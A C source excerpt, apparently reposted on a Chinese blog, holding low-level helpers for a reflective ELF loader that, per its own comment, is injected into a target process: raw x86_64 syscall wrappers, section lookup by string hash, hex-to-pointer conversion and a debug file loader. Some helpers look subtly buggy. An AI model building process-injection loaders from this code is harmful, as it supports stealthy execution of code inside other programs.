__attribute__((always_inline)) inline unsigned int

find_section_by_hash(unsigned int sectionHash, Elf64_Shdr *sections, unsigned char *SH_STRTAB, unsigned int numSections)

{

    for(int i = 0; i < numSections; i++)

    {

        unsigned char *sectionName = SH_STRTAB + sections[i].sh_name;

        if(hash(sectionName) == sectionHash)

        {

            return i;

        }

    }

    debug("[i] ERROR could not find section");

    exit(-1);

}

//===============================================================================================//

// Standard Library Functions (x86_64)

//===============================================================================================//

__attribute__((always_inline)) inline int

crt_close(int fd)

{

    long ret;

    asm volatile ("syscall" : "=a" (ret) : "a" (__NR_close),

              "D" (fd):

              "cc", "memory", "rcx",

              "r8", "r9", "r10", "r11" );

    if (ret < 0)

    {

        ret = -1;

    }

    return (int)ret;

}

__attribute__((always_inline)) inline int 

crt_open (const char *pathname, unsigned long flags, unsigned long mode)

{

    long ret;

    __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_open),

              "D" (pathname), "S" (flags), "d" (mode) :

              "cc", "memory", "rcx",

              "r8", "r9", "r10", "r11" );

    return (int) ret;

}

__attribute__((always_inline)) inline void*

crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset)

{

    void *ret;

    register long r10 asm("r10") = flags;

    register long r9 asm("r9") = offset;

    register long r8 asm("r8") = fd;

    __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap),

              "D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) : 

              "cc", "memory", "rcx", "r11");

    return ret;

}

__attribute__((always_inline)) inline int

crt_munmap(void *start, unsigned long length)

{

    long ret;

    asm volatile ("syscall" : "=a" (ret) : "a" (__NR_munmap),

              "D" (start), "S" (length) :

              "cc", "memory", "rcx",

              "r8", "r9", "r10", "r11" );

    if (ret < 0)

    {

        ret = -1;

    }

    return (int)ret;

}

__attribute__((always_inline)) inline int

crt_read(int fd, char *buffer, unsigned long bufferlen)

{

    long ret;

    __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_read),

              "D" (fd), "S" (buffer), "d" (bufferlen) :

              "cc", "memory", "rcx",

              "r8", "r9", "r10", "r11" );

    if (ret < 0)

    {

        ret = -1;

    }

    return (int)ret;

}

__attribute__((always_inline)) inline int

crt_stat(const char *path, void *buf)

{

    long ret;

    asm volatile ("syscall" :

        "=a" (ret) :

        "a" (4), "D" (path), "S" (buf) :

        "memory"

    );

    if (ret < 0)

    {

        ret = -1;

    }

    return (int)ret;

}

//===============================================================================================//

// Standard Library Functions (portable)

//===============================================================================================//

__attribute__((always_inline)) inline void *

crt_memcpy(void *dest, const void *src, unsigned long n)

{

    unsigned long i;

    unsigned char *d = (unsigned char *)dest;

    unsigned char *s = (unsigned char *)src;

    for (i = 0; i < n; ++i)

        d[i] = s[i];

    return dest;

}

__attribute__((always_inline)) inline int 

crt_strcmp(char *s1, char *s2) 

{

    int len1 = crt_strlen(s1);

    int len2 = crt_strlen(s2);

    int len = 0;

    if(len1 > len2)

        len = len2;

    else

        len = len1;

    for(int i = 0; i < len; i++)

    {

        if(*(s1 + i) != *(s2 + i))

        {

            return -1;

        }   

    }

    return 1;

}

__attribute__((always_inline)) inline unsigned long

crt_strlen(const char *s)

{

    unsigned long r = 0;

    for (; s && *s; ++s, ++r);

    return r;

}

/*

 * String hashing function used for string comparison

 */

__attribute__((always_inline)) inline unsigned int

hash(unsigned char *word)

{

    unsigned int hash = 0;

    for (int i = 0 ; word[i] != '\0' && word[i] != '@'; i++)

    {

        hash = 31 * hash + word[i];

    }

    return hash;

}

//===============================================================================================//

// Utility Functions

//===============================================================================================//

/*

 * Custom function to convert string to a pointer subtracts an amount to get the actual character 

 * value and then accounts for the position in the number using multiplcation to place it in

 * its correct position. 

 */

__attribute__((always_inline)) inline uint64_t 

convert_string_to_64bit_pointer(unsigned char *x)

{

    uint64_t pointer = 0;

    uint64_t z = 1;

    uint64_t temp = 0;

    unsigned int len = crt_strlen(x);

    for(int i = 0; i < len; i++)

        z *= 16;

    for(int i = 0; i < len; i++)

    {

        if(*x > 60)

        {

            temp = *x - 87;

        }

        else

        {

            temp = *x - 48;

        }

        if(z == 1)

        {

            temp = temp;

        }

        else 

        {

            z = z / 16;

            temp = temp * z;

        }

        pointer += temp;

        temp = 0;

        x++;

    }

    return pointer;

}

/*

 * Copy a file from disk into a memory buffer. WARNING Does not check size!

 */

__attribute__((always_inline)) inline unsigned int 

copy_in(int fd, void *address)

{

    int cc;

    off_t offset = 0;

    char buf[1024];

    while (0 < (cc = crt_read(fd, buf, sizeof(buf))))

    {

        crt_memcpy((address + offset), buf, cc);

        offset += cc;

    }

    return offset;

}

//===============================================================================================//

// Debug Mode Functions

//===============================================================================================//

#ifdef RSOI_DEBUG_MODE

/*

 * Used to test loading capabilities separately from the injection capabilities. We can

 * use this to figure out whether we are dealing with a problem with our ELF loader or with 

 * the injection script which is used to inject our loader into the target process. 

 */

Elf64_Ehdr* load_file_debug_mode(char *debugfile) 

{

    struct stat sb;

    unsigned int fd;

    fd = crt_open(debugfile,  0, 0);

    if(fd == -1)

    {

        debug("[-] Could not open debug file");

        exit(-1);

    }

    if (0 > crt_stat(debugfile, &sb))

    {

        return;

    }

    void *mapped = crt_mmap(NULL, sb.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    if(mapped == -1)

    {

        return;

    }

    copy_in(fd, mapped);

    crt_close(fd);

    if(check_elf_magic(mapped))

    {

        debug("[+] Debug File ELF Header is valid");

    }

    else

    {

        debug("[-] Debug File ELF Header is invalid ERROR!");

        exit(-1);

    }

    return (Elf64_Ehdr *)mapped;

}

#endif

©著作权归作者所有:来自51CTO博客作者土匪猿的原创作品,如需转载,请注明出处,否则将追究法律责任

每一份赞赏源于懂得


点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消